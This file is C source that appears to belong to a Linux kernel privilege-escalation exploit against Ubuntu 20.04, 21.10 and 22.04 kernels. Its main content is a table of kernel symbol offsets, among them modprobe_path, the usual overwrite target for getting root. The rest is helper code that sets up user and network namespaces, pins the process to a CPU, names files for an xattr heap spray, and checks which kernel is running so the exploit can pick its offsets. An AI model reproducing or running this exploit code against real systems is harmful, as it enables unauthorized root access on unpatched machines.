#define _GNU_SOURCE
#include <stdint.h>
#include <stdlib.h>
#include <sched.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <sys/utsname.h>

#include "log.h"
#include "util.h"

struct kernel_info kernels[] = {
/*
 * The structure is declared as:
 * struct kernel_info {
 *      const char* kernel_version;
 *      uint64_t io_ring_ctx_ref_free;
 *      uint64_t io_rsrc_node_ref_zero;
 *      uint64_t modprobe_path;
 * };
 * The last three fields are the offsets of the corresponding symbols
 */
// 22.04 LTS
    { "5.15.0-24-lowlatency #24-Ubuntu", 0x3e68a0, 0x3e7690, 0x1e8c320 },
    { "5.15.0-25-generic #25-Ubuntu", 0x3dda20, 0x3de520, 0x1e8b3a0 },
    { "5.15.0-27-generic #28-Ubuntu", 0x3ddaf0, 0x3de5f0, 0x1e8b320 },
    { "5.15.0-27-lowlatency #28-Ubuntu", 0x3e6970, 0x3e7760, 0x1e8c2a0 },
    { "5.15.0-30-generic #31-Ubuntu", 0x3dea40, 0x3df540, 0x1e8b460 },
    { "5.15.0-30-lowlatency #31-Ubuntu", 0x3e78b0, 0x3e86a0, 0x1e8c3e0 },
    { "5.15.0-33-generic #34-Ubuntu", 0x3dea40, 0x3df540, 0x1e8b460 },
    { "5.15.0-33-lowlatency #34-Ubuntu", 0x3e78c0, 0x3e86b0, 0x1e8c3e0 },
    { "5.15.0-35-generic #36-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b560 },
    { "5.15.0-35-lowlatency #36-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c4e0 },
    { "5.15.0-37-generic #39-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b560 },
    { "5.15.0-37-lowlatency #39-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c4e0 },
    { "5.15.0-39-generic #42-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
    { "5.15.0-39-lowlatency #42-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c5a0 },
    { "5.15.0-40-generic #43-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
    { "5.15.0-40-lowlatency #43-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c5a0 },
    { "5.15.0-41-generic #44-Ubuntu", 0x3e00a0, 0x3e0b90, 0x1e8b660 },
    { "5.15.0-41-lowlatency #44-Ubuntu", 0x3e8f70, 0x3e9d50, 0x1e8c5e0 },
// Ubuntu 20.04.4 LTS
    { "5.11.0-41-generic #45~20.04.1-Ubuntu", 0x37db60, 0x389a80, 0x1c6c2e0 },
    { "5.11.0-44-generic #48~20.04.2-Ubuntu", 0x37de70, 0x389a90, 0x1c6c2e0 },
    { "5.13.0-25-generic #26~20.04.1-Ubuntu", 0x389270, 0x389f50, 0x1e6e0a0 },
    { "5.13.0-27-generic #29~20.04.1-Ubuntu", 0x389280, 0x389f50, 0x1e6e0a0 },
    { "5.13.0-30-generic #33~20.04.1-Ubuntu", 0x389740, 0x38a700, 0x1e6e220 },
    { "5.13.0-35-generic #40~20.04.1-Ubuntu", 0x389740, 0x38a700, 0x1e6e220 },
    { "5.13.0-37-generic #42~20.04.1-Ubuntu", 0x389ef0, 0x38b1b0, 0x1e6e220 },
    { "5.13.0-39-generic #44~20.04.1-Ubuntu", 0x389ef0, 0x38b400, 0x1e6e220 },

// Ubuntu 21.10
	{ "5.13.0-27-generic #29-Ubuntu", 0x390b70, 0x391470, 0x1e6e0a0 },
	{ "5.13.0-30-generic #33-Ubuntu", 0x390d80, 0x391680, 0x1e6e220 },
	{ "5.13.0-35-generic #40-Ubuntu", 0x390d80, 0x391680, 0x1e6e220 },
	{ "5.13.0-37-generic #42-Ubuntu", 0x391440, 0x391d40, 0x1e6e220 },
	{ "5.13.0-37-lowlatency #42-Ubuntu", 0x39a660, 0x39af10, 0x1e6f1a0 },
	{ "5.13.0-40-generic #45-Ubuntu", 0x3919d0, 0x3922d0, 0x1e6e220 },

};

/**
 * write_file(): Write a string into a file
 * @filename: File to write
 * @text: Text to write
 */
void write_file(const char *filename, char *text) {

    int fd = open(filename, O_RDWR);

    write(fd, text, strlen(text));
    close(fd);
}

/**
 * new_ns(): Change the current namespace to access to netfilter and
 * to be able to write security xattr in a tmpfs
 */
void new_ns(void)
{
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
        do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");

    if (unshare(CLONE_NEWNET))
        do_error_exit("unshare(CLONE_NEWNET)");
    
    write_file("/proc/self/setgroups", "deny");

    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);
}

/**
 * set_cpu_affinity(): Pin a process to a CPU
 * @cpu_n: CPU to use
 * @pid: pid of the process to attach
 */
void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0)
        do_error_exit("sched_setaffinity");
}

/**
 * generate_table_name(): Generate a name for a netfilter table
 * @table_name: Buffer used to store the new name
 */
void generate_table_name(char table_name[8]) {
    static int attempt = 0;
    snprintf(table_name, 8, "t%d", attempt);
    attempt++;
}

/**
 * generate_tmp_filename(): Generate a filename to be used with
 *  the xattr spray
 *
 * Return: New generated filename
 */
char *generate_tmp_filename(void) {
    static char buffer[FILENAME_MAX_LEN];
    static uint64_t counter = 0;

    snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
    counter++;

    return buffer;
}

/**
 * get_kernel_version(): Returns the kernel version string.
 * Return: a pointer to a struct utsname returned by the uname POSIX function
 */
struct utsname* get_kernel_version() {
  struct utsname* u = (struct utsname*) malloc(sizeof(struct utsname));
  int rv = uname(u);
  if (rv != 0) {
    do_error_exit("uname");
  }
  return u;
}

// Will be overwritten by detect_versions
int kernel = -1;

/**
 * detect_versions(): Returns 0, and sets kernel if the exploit
 * has the offsets needed to exploit the running kernel
 * Return: 0 if the offsets are available, -1 otherwise
 */
int detect_versions() {
  struct utsname* u;
  char kernel_version[KERNEL_VERSION_SIZE_BUFFER];

  u = get_kernel_version();

  if (strstr(u->machine, "64") == NULL) {
    printf("[-] system is not using a 64-bit kernel\n");
    free(u);
    return -1;
  }

  if (strstr(u->version, "-Ubuntu") == NULL) {
    printf("[-] system is not using an Ubuntu kernel\n");
    free(u);
    return -1;
  }

  char *u_ver = strtok(u->version, " ");
  snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u->release,
           u_ver);

  free(u);

  int i;
  for (i = 0; i < ARRAY_SIZE(kernels); i++) {
    if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
      printf("[+] kernel version '%s' detected\n", kernels[i].kernel_version);
      kernel = i;
      return 0;
    }
  }

  printf("[-] kernel version '%s' not recognized\n", kernel_version);
  return -1;
}
